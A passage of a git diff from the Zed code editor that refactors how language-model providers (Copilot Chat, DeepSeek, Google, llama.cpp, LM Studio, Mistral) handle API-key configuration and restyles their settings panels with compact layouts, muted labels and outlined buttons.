             move |_window: &mut Window, cx: &mut App| {
@@ -525,6 +593,7 @@ impl ConfigurationView {
 
         Self {
             state,
+            compact,
             sign_in_callback,
         }
     }
@@ -545,6 +614,7 @@ impl Render for ConfigurationView {
             is_zed_model_provider_enabled,
             eligible_for_trial: user_store.trial_started_at().is_none(),
             account_too_young: user_store.account_too_young(),
+            compact: self.compact,
             sign_in_callback: self.sign_in_callback.clone(),
         }
     }
@@ -904,6 +974,7 @@ impl Component for ZedAiConfiguration {
                 is_zed_model_provider_enabled: config.is_zed_model_provider_enabled,
                 eligible_for_trial: config.eligible_for_trial,
                 account_too_young: false,
+                compact: false,
                 sign_in_callback: Arc::new(|_, _| {}),
             }
             .into_any_element()
diff --git a/crates/language_models/src/provider/copilot_chat.rs b/crates/language_models/src/provider/copilot_chat.rs
index 0d3b38d31155aa..94bc00e72d5c78 100644
--- a/crates/language_models/src/provider/copilot_chat.rs
+++ b/crates/language_models/src/provider/copilot_chat.rs
@@ -199,13 +199,48 @@ impl LanguageModelProvider for CopilotChatLanguageModelProvider {
 
     fn configuration_view_v2(
         &self,
-        target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
+        _target_agent: language_model::ConfigurationViewTargetAgent,
+        _window: &mut Window,
         cx: &mut App,
     ) -> ProviderConfigurationView {
-        // GitHub Copilot's control is just a sign-in button, so render it inline
-        // rather than behind a sub-page.
-        ProviderConfigurationView::Inline(self.configuration_view(target_agent, window, cx))
+        // GitHub Copilot's control is just a sign-in/out button, so render it
+        // inline rather than behind a sub-page. The explanatory copy is surfaced
+        // via `inline_description` (the row's left column), so the view itself
+        // renders compactly.
+        ProviderConfigurationView::Inline {
+            view: cx
+                .new(|cx| {
+                    copilot_ui::ConfigurationView::new(
+                        |cx| {
+                            CopilotChat::global(cx)
+                                .map(|m| m.read(cx).is_authenticated())
+                                .unwrap_or(false)
+                        },
+                        copilot_ui::ConfigurationMode::Chat,
+                        cx,
+                    )
+                    .compact()
+                })
+                .into(),
+        }
+    }
+
+    fn inline_title(&self, cx: &App) -> Option<SharedString> {
+        if self.state.read(cx).is_authenticated(cx) {
+            None
+        } else {
+            Some("Configure Copilot".into())
+        }
+    }
+
+    fn inline_description(&self, cx: &App) -> Option<language_model::InlineDescription> {
+        if self.state.read(cx).is_authenticated(cx) {
+            None
+        } else {
+            Some(language_model::InlineDescription::Text(
+                "Requires an active GitHub Copilot subscription.".into(),
+            ))
+        }
     }
 
     fn reset_credentials(&self, _cx: &mut App) -> Task<Result<()>> {
diff --git a/crates/language_models/src/provider/deepseek.rs b/crates/language_models/src/provider/deepseek.rs
index 48096f168490aa..943b3861e3c513 100644
--- a/crates/language_models/src/provider/deepseek.rs
+++ b/crates/language_models/src/provider/deepseek.rs
@@ -8,12 +8,12 @@ use futures::{FutureExt, StreamExt, future::BoxFuture, stream::BoxStream};
 use gpui::{AnyView, App, AsyncApp, Context, Entity, SharedString, Task, TaskExt, Window};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
-    ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel, LanguageModelCompletionError,
-    LanguageModelCompletionEvent, LanguageModelEffortLevel, LanguageModelId, LanguageModelName,
-    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
-    LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
-    LanguageModelToolResultContent, LanguageModelToolUse, MessageContent,
-    ProviderConfigurationView, RateLimiter, Role, StopReason, TokenUsage, env_var,
+    ApiKeyConfiguration, ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel,
+    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelEffortLevel,
+    LanguageModelId, LanguageModelName, LanguageModelProvider, LanguageModelProviderId,
+    LanguageModelProviderName, LanguageModelProviderState, LanguageModelRequest,
+    LanguageModelToolChoice, LanguageModelToolResultContent, LanguageModelToolUse, MessageContent,
+    RateLimiter, Role, StopReason, TokenUsage, env_var,
 };
 pub use settings::DeepseekAvailableModel as AvailableModel;
 use settings::{Settings, SettingsStore};
@@ -212,28 +212,19 @@ impl LanguageModelProvider for DeepSeekLanguageModelProvider {
             .update(cx, |state, cx| state.set_api_key(None, cx))
     }
 
-    fn configuration_view_v2(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> ProviderConfigurationView {
-        let state = self.state.clone();
-        ProviderConfigurationView::Inline(
-            cx.new(|cx| {
-                crate::ApiKeyEditor::new(
-                    state,
-                    "https://platform.deepseek.com/api_keys",
-                    "Paste your DeepSeek API key",
-                    |state, _cx| crate::api_key_status(&state.api_key_state),
-                    |state, key, cx| state.update(cx, |state, cx| state.set_api_key(Some(key), cx)),
-                    |state, cx| state.update(cx, |state, cx| state.set_api_key(None, cx)),
-                    window,
-                    cx,
-                )
-            })
-            .into(),
-        )
+    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+        let state = self.state.read(cx);
+        Some(ApiKeyConfiguration {
+            has_key: state.api_key_state.has_key(),
+            is_from_env_var: state.api_key_state.is_from_env_var(),
+            env_var_name: state.api_key_state.env_var_name().clone(),
+            api_key_url: "https://platform.deepseek.com/api_keys".into(),
+        })
+    }
+
+    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+        self.state
+            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
     }
 }
 
@@ -780,7 +771,7 @@ impl Render for ConfigurationView {
                 )
                 .into_any_element()
         } else {
-            ConfiguredApiCard::new(configured_card_label)
+            ConfiguredApiCard::new("deepseek-reset-key", configured_card_label)
                 .disabled(env_var_set)
                 .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
                 .into_any_element()
diff --git a/crates/language_models/src/provider/google.rs b/crates/language_models/src/provider/google.rs
index 7ea54a51ba3306..8a289fd2e05998 100644
--- a/crates/language_models/src/provider/google.rs
+++ b/crates/language_models/src/provider/google.rs
@@ -7,9 +7,9 @@ pub use google_ai::completion::{GoogleEventMapper, into_google};
 use gpui::{AnyView, App, AsyncApp, Context, Entity, SharedString, Task, TaskExt, Window};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
-    AuthenticateError, ConfigurationViewTargetAgent, EnvVar, LanguageModelCompletionError,
-    LanguageModelCompletionEvent, LanguageModelToolChoice, LanguageModelToolSchemaFormat,
-    ProviderConfigurationView,
+    ApiKeyConfiguration, AuthenticateError, ConfigurationViewTargetAgent, EnvVar,
+    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelToolChoice,
+    LanguageModelToolSchemaFormat,
 };
 use language_model::{
     GOOGLE_PROVIDER_ID, GOOGLE_PROVIDER_NAME, IconOrSvg, LanguageModel, LanguageModelEffortLevel,
@@ -237,28 +237,19 @@ impl LanguageModelProvider for GoogleLanguageModelProvider {
             .update(cx, |state, cx| state.set_api_key(None, cx))
     }
 
-    fn configuration_view_v2(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> ProviderConfigurationView {
-        let state = self.state.clone();
-        ProviderConfigurationView::Inline(
-            cx.new(|cx| {
-                crate::ApiKeyEditor::new(
-                    state,
-                    "https://aistudio.google.com/app/apikey",
-                    "AIza...",
-                    |state, _cx| crate::api_key_status(&state.api_key_state),
-                    |state, key, cx| state.update(cx, |state, cx| state.set_api_key(Some(key), cx)),
-                    |state, cx| state.update(cx, |state, cx| state.set_api_key(None, cx)),
-                    window,
-                    cx,
-                )
-            })
-            .into(),
-        )
+    fn api_key_configuration(&self, cx: &App) -> Option<ApiKeyConfiguration> {
+        let state = self.state.read(cx);
+        Some(ApiKeyConfiguration {
+            has_key: state.api_key_state.has_key(),
+            is_from_env_var: state.api_key_state.is_from_env_var(),
+            env_var_name: state.api_key_state.env_var_name().clone(),
+            api_key_url: "https://aistudio.google.com/app/apikey".into(),
+        })
+    }
+
+    fn set_api_key(&self, key: String, cx: &mut App) -> Task<Result<()>> {
+        self.state
+            .update(cx, |state, cx| state.set_api_key(Some(key), cx))
     }
 }
 
@@ -526,7 +517,7 @@ impl Render for ConfigurationView {
                 )
                 .into_any_element()
         } else {
-            ConfiguredApiCard::new(configured_card_label)
+            ConfiguredApiCard::new("google-reset-key", configured_card_label)
                 .disabled(env_var_set)
                 .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
                 .when(env_var_set, |this| {
diff --git a/crates/language_models/src/provider/llama_cpp.rs b/crates/language_models/src/provider/llama_cpp.rs
index 921a2ae63e530f..ed207d4b47bbca 100644
--- a/crates/language_models/src/provider/llama_cpp.rs
+++ b/crates/language_models/src/provider/llama_cpp.rs
@@ -4,15 +4,16 @@ use credentials_provider::CredentialsProvider;
 use fs::Fs;
 use futures::Stream;
 use futures::{FutureExt, StreamExt, future::BoxFuture, stream::BoxStream};
-use gpui::{AnyView, App, AsyncApp, Context, CursorStyle, Entity, Task, TaskExt};
+use gpui::{AnyView, App, AsyncApp, Context, Entity, Task, TaskExt};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::util::parse_tool_arguments;
 use language_model::{
-    ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel, LanguageModelCompletionError,
-    LanguageModelCompletionEvent, LanguageModelId, LanguageModelName, LanguageModelProvider,
-    LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
-    LanguageModelRequest, LanguageModelToolChoice, LanguageModelToolResultContent,
-    LanguageModelToolUse, MessageContent, RateLimiter, Role, StopReason, TokenUsage, env_var,
+    ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, InlineDescription, LanguageModel,
+    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId, LanguageModelName,
+    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
+    LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
+    LanguageModelToolResultContent, LanguageModelToolUse, MessageContent, RateLimiter, Role,
+    StopReason, TokenUsage, env_var,
 };
 use llama_cpp::{
     LLAMA_CPP_API_URL, ModelEntry, Props, get_models, get_props, stream_chat_completion,
@@ -25,8 +26,7 @@ use std::sync::LazyLock;
 use std::sync::{Arc, RwLock, RwLockReadGuard, RwLockWriteGuard};
 use std::time::Duration;
 use ui::{
-    ButtonLike, ButtonLink, ConfiguredApiCard, ElevationIndex, List, ListBulletItem, Tooltip,
-    prelude::*,
+    ButtonLike, ButtonLink, ConfiguredApiCard, Divider, List, ListBulletItem, Tooltip, prelude::*,
 };
 use ui_input::InputField;
 use util::ResultExt;
@@ -562,6 +562,12 @@ impl LanguageModelProvider for LlamaCppLanguageModelProvider {
         None
     }
 
+    fn inline_description(&self, _cx: &App) -> Option<InlineDescription> {
+        Some(InlineDescription::Text(
+            "Run local models on your machine with LlamaCpp.".into(),
+        ))
+    }
+
     fn provided_models(&self, cx: &App) -> Vec<Arc<dyn LanguageModel>> {
         let settings = LlamaCppLanguageModelProvider::settings(cx);
         let effective = compute_effective_models(&self.state.read(cx).fetched_models, settings);
@@ -1327,31 +1333,42 @@ impl ConfigurationView {
     fn render_instructions(cx: &App) -> Div {
         v_flex()
             .gap_2()
-            .child(Label::new(
-                "Run open models locally with llama.cpp's built-in server, or connect to a \
+            .child(
+                Label::new(
+                    "Run open models locally with llama.cpp's built-in server, or connect to a \
                 remote llama.cpp server.",
-            ))
-            .child(Label::new("To use a local llama.cpp server:"))
+                )
+                .color(Color::Muted),
+            )
+            .child(Label::new("To use a local llama.cpp server:").color(Color::Muted))
             .child(
                 List::new()
                     .child(
                         ListBulletItem::new("")
-                            .child(Label::new("Install llama.cpp from"))
+                            .child(Label::new("Install llama.cpp from").color(Color::Muted))
                             .child(ButtonLink::new("llama.app", LLAMA_CPP_DOWNLOAD_URL)),
                     )
                     .child(
                         ListBulletItem::new("")
-                            .child(Label::new("Start the server in router mode:"))
+                            .child(
+                                Label::new("Start the server in router mode:").color(Color::Muted),
+                            )
                             .child(Label::new("llama serve").inline_code(cx)),
                     )
-                    .child(ListBulletItem::new(
-                        "Click 'Connect' below to start using llama.cpp in Zed",
-                    )),
+                    .child(
+                        ListBulletItem::new(
+                            "Click 'Connect' below to start using llama.cpp in Zed",
+                        )
+                        .label_color(Color::Muted),
+                    ),
             )
-            .child(Label::new(
-                "Alternatively, you can connect to a remote llama.cpp server by specifying its \
+            .child(
+                Label::new(
+                    "Alternatively, you can connect to a remote llama.cpp server by specifying its \
                 URL and API key (set with --api-key, may not be required):",
-            ))
+                )
+                .color(Color::Muted),
+            )
     }
 
     fn render_api_key_editor(&self, cx: &Context<Self>) -> impl IntoElement {
@@ -1363,20 +1380,10 @@ impl ConfigurationView {
             "API key configured".to_string()
         };
 
-        if !state.api_key_state.has_key() {
-            v_flex()
-                .on_action(cx.listener(Self::save_api_key))
-                .child(self.api_key_editor.clone())
-                .child(
-                    Label::new(format!(
-                        "You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed."
-                    ))
-                    .size(LabelSize::Small)
-                    .color(Color::Muted),
-                )
-                .into_any_element()
+        let api_key_control = if !state.api_key_state.has_key() {
+            self.api_key_editor.clone().into_any_element()
         } else {
-            ConfiguredApiCard::new(configured_card_label)
+            ConfiguredApiCard::new("llama-cpp-reset-key", configured_card_label)
                 .disabled(env_var_set)
                 .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
                 .when(env_var_set, |this| {
@@ -1385,7 +1392,20 @@ impl ConfigurationView {
                     ))
                 })
                 .into_any_element()
-        }
+        };
+
+        v_flex()
+            .on_action(cx.listener(Self::save_api_key))
+            .child(api_key_control)
+            .gap_1p5()
+            .mb_2()
+            .child(
+                Label::new(format!(
+                    "You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed."
+                ))
+                .size(LabelSize::Small)
+                .color(Color::Muted),
+            )
     }
 
     fn render_context_window_editor(&self, cx: &Context<Self>) -> Div {
@@ -1394,26 +1414,26 @@ impl ConfigurationView {
 
         if custom_context_window_set {
             h_flex()
-                .p_3()
+                .p_1()
                 .justify_between()
                 .rounded_md()
                 .border_1()
-                .border_color(cx.theme().colors().border)
-                .bg(cx.theme().colors().elevated_surface_background)
+                .border_color(cx.theme().colors().border_variant)
+                .bg(cx.theme().colors().background.opacity(0.5))
                 .child(
                     h_flex()
-                        .gap_2()
+                        .gap_1()
                         .child(Icon::new(IconName::Check).color(Color::Success))
-                        .child(v_flex().gap_1().child(Label::new(format!(
+                        .child(Label::new(format!(
                             "Context Window: {}",
                             settings.context_window.unwrap_or_default()
-                        )))),
+                        ))),
                 )
                 .child(
                     Button::new("reset-context-window", "Reset")
+                        .style(ButtonStyle::Outlined)
                         .label_size(LabelSize::Small)
                         .start_icon(Icon::new(IconName::Undo).size(IconSize::Small))
-                        .layer(ElevationIndex::ModalSurface)
                         .on_click(
                             cx.listener(|this, _, window, cx| {
                                 this.reset_context_window(window, cx)
@@ -1428,8 +1448,9 @@ impl ConfigurationView {
                     }),
                 )
                 .child(self.context_window_editor.clone())
+                .gap_1p5()
                 .child(
-                    Label::new("Default: discovered from the server")
+                    Label::new("Default: Discovered from the server")
                         .size(LabelSize::Small)
                         .color(Color::Muted),
                 )
@@ -1442,23 +1463,23 @@ impl ConfigurationView {
 
         if custom_api_url_set {
             h_flex()
-                .p_3()
+                .p_1()
                 .justify_between()
                 .rounded_md()
                 .border_1()
-                .border_color(cx.theme().colors().border)
-                .bg(cx.theme().colors().elevated_surface_background)
+                .border_color(cx.theme().colors().border_variant)
+                .bg(cx.theme().colors().background.opacity(0.5))
                 .child(
                     h_flex()
-                        .gap_2()
+                        .gap_1()
                         .child(Icon::new(IconName::Check).color(Color::Success))
-                        .child(v_flex().gap_1().child(Label::new(api_url))),
+                        .child(Label::new(api_url)),
                 )
                 .child(
                     Button::new("reset-api-url", "Reset API URL")
+                        .style(ButtonStyle::Outlined)
                         .label_size(LabelSize::Small)
                         .start_icon(Icon::new(IconName::Undo).size(IconSize::Small))
-                        .layer(ElevationIndex::ModalSurface)
                         .on_click(
                             cx.listener(|this, _, window, cx| this.reset_api_url(window, cx)),
                         ),
@@ -1469,7 +1490,7 @@ impl ConfigurationView {
                     this.save_api_url(cx);
                     cx.notify();
                 }))
-                .gap_2()
+                .gap_1p5()
                 .child(self.api_url_editor.clone())
         }
     }
@@ -1481,12 +1502,15 @@ impl Render for ConfigurationView {
 
         v_flex()
             .gap_2()
+            .child(Headline::new("llama.cpp").size(HeadlineSize::Small))
             .child(Self::render_instructions(cx))
             .child(self.render_api_url_editor(cx))
             .child(self.render_context_window_editor(cx))
             .child(self.render_api_key_editor(cx))
+            .child(Divider::horizontal())
             .child(
                 h_flex()
+                    .pt_2()
                     .w_full()
                     .justify_between()
                     .gap_2()
@@ -1498,7 +1522,8 @@ impl Render for ConfigurationView {
                                 if is_authenticated {
                                     this.child(
                                         Button::new("llama-cpp-webui", "Open WebUI")
-                                            .style(ButtonStyle::Subtle)
+                                            .style(ButtonStyle::OutlinedGhost)
+                                            .size(ButtonSize::Medium)
                                             .end_icon(
                                                 Icon::new(IconName::ArrowUpRight)
                                                     .size(IconSize::XSmall)
@@ -1513,7 +1538,8 @@ impl Render for ConfigurationView {
                                     )
                                     .child(
                                         Button::new("llama-cpp-site", "llama.cpp")
-                                            .style(ButtonStyle::Subtle)
+                                            .style(ButtonStyle::OutlinedGhost)
+                                            .size(ButtonSize::Medium)
                                             .end_icon(
                                                 Icon::new(IconName::ArrowUpRight)
                                                     .size(IconSize::XSmall)
@@ -1527,7 +1553,8 @@ impl Render for ConfigurationView {
                                 } else {
                                     this.child(
                                         Button::new("download_llama_cpp_button", "Get llama.cpp")
-                                            .style(ButtonStyle::Subtle)
+                                            .style(ButtonStyle::OutlinedGhost)
+                                            .size(ButtonSize::Medium)
                                             .end_icon(
                                                 Icon::new(IconName::ArrowUpRight)
                                                     .size(IconSize::XSmall)
@@ -1542,7 +1569,8 @@ impl Render for ConfigurationView {
                             })
                             .child(
                                 Button::new("view-models", "Browse GGUF Models")
-                                    .style(ButtonStyle::Subtle)
+                                    .style(ButtonStyle::OutlinedGhost)
+                                    .size(ButtonSize::Medium)
                                     .end_icon(
                                         Icon::new(IconName::ArrowUpRight)
                                             .size(IconSize::XSmall)
@@ -1555,17 +1583,16 @@ impl Render for ConfigurationView {
                         if is_authenticated {
                             this.child(
                                 ButtonLike::new("connected")
-                                    .disabled(true)
-                                    .cursor_style(CursorStyle::Arrow)
+                                    .size(ButtonSize::Medium)
                                     .child(
                                         h_flex()
-                                            .gap_2()
+                                            .gap_1()
                                             .child(Icon::new(IconName::Check).color(Color::Success))
-                                            .child(Label::new("Connected"))
-                                            .into_any_element(),
+                                            .child(Label::new("Connected")),
                                     )
                                     .child(
                                         IconButton::new("refresh-models", IconName::RotateCcw)
+                                            .icon_size(IconSize::Small)
                                             .tooltip(Tooltip::text("Refresh Models"))
                                             .on_click(cx.listener(|this, _, window, cx| {
                                                 this.state.update(cx, |state, _| {
@@ -1578,6 +1605,8 @@ impl Render for ConfigurationView {
                         } else {
                             this.child(
                                 Button::new("retry_llama_cpp_models", "Connect")
+                                    .style(ButtonStyle::Outlined)
+                                    .size(ButtonSize::Medium)
                                     .start_icon(
                                         Icon::new(IconName::PlayOutlined).size(IconSize::XSmall),
                                     )
diff --git a/crates/language_models/src/provider/lmstudio.rs b/crates/language_models/src/provider/lmstudio.rs
index b7b076125647c9..362db21070ed71 100644
--- a/crates/language_models/src/provider/lmstudio.rs
+++ b/crates/language_models/src/provider/lmstudio.rs
@@ -3,7 +3,7 @@ use credentials_provider::CredentialsProvider;
 use fs::Fs;
 use futures::Stream;
 use futures::{FutureExt, StreamExt, future::BoxFuture, stream::BoxStream};
-use gpui::{AnyView, App, AsyncApp, Context, CursorStyle, Entity, Subscription, Task, TaskExt};
+use gpui::{AnyView, App, AsyncApp, Context, Entity, Subscription, Task, TaskExt};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
     ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel, LanguageModelCompletionError,
@@ -11,8 +11,9 @@ use language_model::{
     LanguageModelToolUse, MessageContent, StopReason, TokenUsage, env_var,
 };
 use language_model::{
-    LanguageModelId, LanguageModelName, LanguageModelProvider, LanguageModelProviderId,
-    LanguageModelProviderName, LanguageModelProviderState, LanguageModelRequest, RateLimiter, Role,
+    InlineDescription, LanguageModelId, LanguageModelName, LanguageModelProvider,
+    LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
+    LanguageModelRequest, RateLimiter, Role,
 };
 use lmstudio::{LMSTUDIO_API_URL, ModelType, get_models};
 
@@ -24,9 +25,7 @@ use std::{
     collections::{BTreeMap, HashMap},
     sync::Arc,
 };
-use ui::{
-    ButtonLike, ConfiguredApiCard, ElevationIndex, List, ListBulletItem, Tooltip, prelude::*,
-};
+use ui::{ButtonLike, ConfiguredApiCard, Divider, List, ListBulletItem, Tooltip, prelude::*};
 use ui_input::InputField;
 
 use crate::AllLanguageModelSettings;
@@ -253,6 +252,12 @@ impl LanguageModelProvider for LmStudioLanguageModelProvider {
         IconOrSvg::Icon(IconName::AiLmStudio)
     }
 
+    fn inline_description(&self, _cx: &App) -> Option<InlineDescription> {
+        Some(InlineDescription::Text(
+            "Run local LLMs like Llama, Phi, and Qwen with LM Studio.".into(),
+        ))
+    }
+
     fn default_model(&self, _: &App) -> Option<Arc<dyn LanguageModel>> {
         // We shouldn't try to select default model, because it might lead to a load call for an unloaded model.
         // In a constrained environment where user might not have enough resources it'll be a bad UX to select something
@@ -833,28 +838,8 @@ impl ConfigurationView {
         let custom_api_url_set = api_url != LMSTUDIO_API_URL;
 
         if custom_api_url_set {
-            h_flex()
-                .p_3()
-                .justify_between()
-                .rounded_md()
-                .border_1()
-                .border_color(cx.theme().colors().border)
-                .bg(cx.theme().colors().elevated_surface_background)
-                .child(
-                    h_flex()
-                        .gap_2()
-                        .child(Icon::new(IconName::Check).color(Color::Success))
-                        .child(v_flex().gap_1().child(Label::new(api_url))),
-                )
-                .child(
-                    Button::new("reset-api-url", "Reset API URL")
-                        .label_size(LabelSize::Small)
-                        .start_icon(Icon::new(IconName::Undo).size(IconSize::Small))
-                        .layer(ElevationIndex::ModalSurface)
-                        .on_click(
-                            cx.listener(|this, _, _window, cx| this.reset_api_url(_window, cx)),
-                        ),
-                )
+            ConfiguredApiCard::new("reset-api-url", api_url)
+                .on_click(cx.listener(|this, _, _window, cx| this.reset_api_url(_window, cx)))
                 .into_any_element()
         } else {
             v_flex()
@@ -862,7 +847,6 @@ impl ConfigurationView {
                     this.save_api_url(cx);
                     cx.notify();
                 }))
-                .gap_2()
                 .child(self.api_url_editor.clone())
                 .into_any_element()
         }
@@ -877,20 +861,10 @@ impl ConfigurationView {
             "API key configured".to_string()
         };
 
-        if !state.api_key_state.has_key() {
-            v_flex()
-                .on_action(cx.listener(Self::save_api_key))
-                .child(self.api_key_editor.clone())
-                .child(
-                    Label::new(format!(
-                        "You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed."
-                    ))
-                    .size(LabelSize::Small)
-                    .color(Color::Muted),
-                )
-                .into_any_element()
+        let api_key_control = if !state.api_key_state.has_key() {
+            self.api_key_editor.clone().into_any_element()
         } else {
-            ConfiguredApiCard::new(configured_card_label)
+            ConfiguredApiCard::new("lmstudio-reset-key", configured_card_label)
                 .disabled(env_var_set)
                 .on_click(cx.listener(|this, _, _window, cx| this.reset_api_key(_window, cx)))
                 .when(env_var_set, |this| {
@@ -899,7 +873,20 @@ impl ConfigurationView {
                     ))
                 })
                 .into_any_element()
-        }
+        };
+
+        v_flex()
+            .on_action(cx.listener(Self::save_api_key))
+            .child(api_key_control)
+            .gap_1p5()
+            .mb_2()
+            .child(
+                Label::new(format!(
+                    "You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed."
+                ))
+                .size(LabelSize::Small)
+                .color(Color::Muted),
+            )
     }
 }
 
@@ -912,39 +899,45 @@ impl Render for ConfigurationView {
             .child(
                 v_flex()
                     .gap_1()
-                    .child(Label::new("Run local LLMs like Llama, Phi, and Qwen."))
+                    .child(Headline::new("LM Studio").size(HeadlineSize::Small))
+                    .child(
+                        Label::new("Run local LLMs like Llama, Phi, and Qwen.").color(Color::Muted),
+                    )
                     .child(
                         List::new()
                             .child(ListBulletItem::new(
                                 "LM Studio needs to be running with at least one model downloaded.",
-                            ))
+                            ).label_color(Color::Muted))
                             .child(
                                 ListBulletItem::new("")
-                                    .child(Label::new("To get your first model, try running"))
-                                    .child(Label::new("lms get qwen2.5-coder-7b").inline_code(cx)),
+                                    .child(Label::new("To get your first model, try running").color(Color::Muted))
+                                    .child(Label::new("lms get qwen2.5-coder-7b").inline_code(cx).color(Color::Muted).ml_1()),
                             ),
                     )
                     .child(Label::new(
                         "Alternatively, you can connect to an LM Studio server by specifying its \
                         URL and API key (may not be required):",
-                    )),
+                    ).color(Color::Muted)),
             )
             .child(self.render_api_url_editor(cx))
             .child(self.render_api_key_editor(cx))
+            .child(Divider::horizontal())
             .child(
                 h_flex()
+                    .pt_2()
                     .w_full()
                     .justify_between()
-                    .gap_2()
+                    .gap_1()
                     .child(
                         h_flex()
                             .w_full()
-                            .gap_2()
+                            .gap_1()
                             .map(|this| {
                                 if is_authenticated {
                                     this.child(
                                         Button::new("lmstudio-site", "LM Studio")
-                                            .style(ButtonStyle::Subtle)
+                                            .style(ButtonStyle::OutlinedGhost)
+                                            .size(ButtonSize::Medium)
                                             .end_icon(
                                                 Icon::new(IconName::ArrowUpRight)
                                                     .size(IconSize::Small)
@@ -961,7 +954,8 @@ impl Render for ConfigurationView {
                                             "download_lmstudio_button",
                                             "Download LM Studio",
                                         )
-                                        .style(ButtonStyle::Subtle)
+                                        .style(ButtonStyle::OutlinedGhost)
+                                        .size(ButtonSize::Medium)
                                         .end_icon(
                                             Icon::new(IconName::ArrowUpRight)
                                                 .size(IconSize::Small)
@@ -976,7 +970,8 @@ impl Render for ConfigurationView {
                             })
                             .child(
                                 Button::new("view-models", "Model Catalog")
-                                    .style(ButtonStyle::Subtle)
+                                    .style(ButtonStyle::OutlinedGhost)
+                                    .size(ButtonSize::Medium)
                                     .end_icon(
                                         Icon::new(IconName::ArrowUpRight)
                                             .size(IconSize::Small)
@@ -991,18 +986,17 @@ impl Render for ConfigurationView {
                         if is_authenticated {
                             this.child(
                                 ButtonLike::new("connected")
-                                    .disabled(true)
-                                    .cursor_style(CursorStyle::Arrow)
+                                    .size(ButtonSize::Medium)
                                     .child(
                                         h_flex()
-                                            .gap_2()
+                                            .gap_1()
                                             .child(Icon::new(IconName::Check).color(Color::Success))
                                             .child(Label::new("Connected"))
-                                            .into_any_element(),
                                     )
                                     .child(
                                         IconButton::new("refresh-models", IconName::RotateCcw)
                                             .tooltip(Tooltip::text("Refresh Models"))
+                                            .icon_size(IconSize::Small)
                                             .on_click(cx.listener(|this, _, _window, cx| {
                                                 this.state.update(cx, |state, _| {
                                                     state.available_models.clear();
@@ -1014,6 +1008,8 @@ impl Render for ConfigurationView {
                         } else {
                             this.child(
                                 Button::new("retry_lmstudio_models", "Connect")
+                                    .style(ButtonStyle::Outlined)
+                                    .size(ButtonSize::Medium)
                                     .start_icon(
                                         Icon::new(IconName::PlayFilled).size(IconSize::XSmall),
                                     )
diff --git a/crates/language_models/src/provider/mistral.rs b/crates/language_models/src/provider/mistral.rs
index 24afcb669b5cbe..de9f385c8e5284 100644
--- a/crates/language_models/src/provider/mistral.rs
+++ b/crates/language_models/src/provider/mistral.rs
@@ -6,12 +6,12 @@ use futures::{FutureExt, Stream, StreamExt, future::BoxFuture, stream::BoxStream
 use gpui::{AnyView, App, AsyncApp, Context, Entity, Global, SharedString, Task, TaskExt, Window};
 use http_client::{CustomHeaders, HttpClient};
 use language_model::{
-    ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel, LanguageModelCompletionError,
-    LanguageModelCompletionEvent, LanguageModelId, LanguageModelName, LanguageModelProvider,
-    LanguageModelProviderId, LanguageModelProviderName, LanguageModelProviderState,
-    LanguageModelRequest, LanguageModelToolChoice, LanguageModelToolResultContent,
-    LanguageModelToolUse, MessageContent, ProviderConfigurationView, RateLimiter, Role, StopReason,
-    TokenUsage, env_var,
+    ApiKeyConfiguration, ApiKeyState, AuthenticateError, EnvVar, IconOrSvg, LanguageModel,
+    LanguageModelCompletionError, LanguageModelCompletionEvent, LanguageModelId, LanguageModelName,
+    LanguageModelProvider, LanguageModelProviderId, LanguageModelProviderName,
+    LanguageModelProviderState, LanguageModelRequest, LanguageModelToolChoice,
+    LanguageModelToolResultContent, LanguageModelToolUse, MessageContent, RateLimiter, Role,
+    StopReason, TokenUsage, env_var,
 };
 pub use mistral::{MISTRAL_API_URL, StreamResponse};
 pub use settings::MistralAvailableModel as AvailableModel;
@@ -237,28 +237,19 @@ impl LanguageModelProvider for MistralLanguageModelProvider {
             .update(cx, |state, cx| state.set_api_key(None, cx))
     }
 
-    fn configuration_view_v2(
-        &self,
-        _target_agent: language_model::ConfigurationViewTargetAgent,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> ProviderConfigurationView {
-        let state = self.state.clone();
-        ProviderConfigurationView::Inline(
-            cx.new(|cx| {
-                crate::ApiKeyEditor::new(
-                    state,
-                    "https://console.mistral.ai/api-keys",
-                    "Paste your Mistral API key",
-                    |state, _cx| crate::api_key_status(&state.api_key_state),
-                    |state, key, cx| state.update(cx, |state, cx| state.set_api_key(Some(key), cx)),
-                    |state, cx| state.update(cx, |state, cx| state.set_api_key(None, cx)),
-                    window,
-                    cx,
-                )
-            })
-            .into(),
-        )
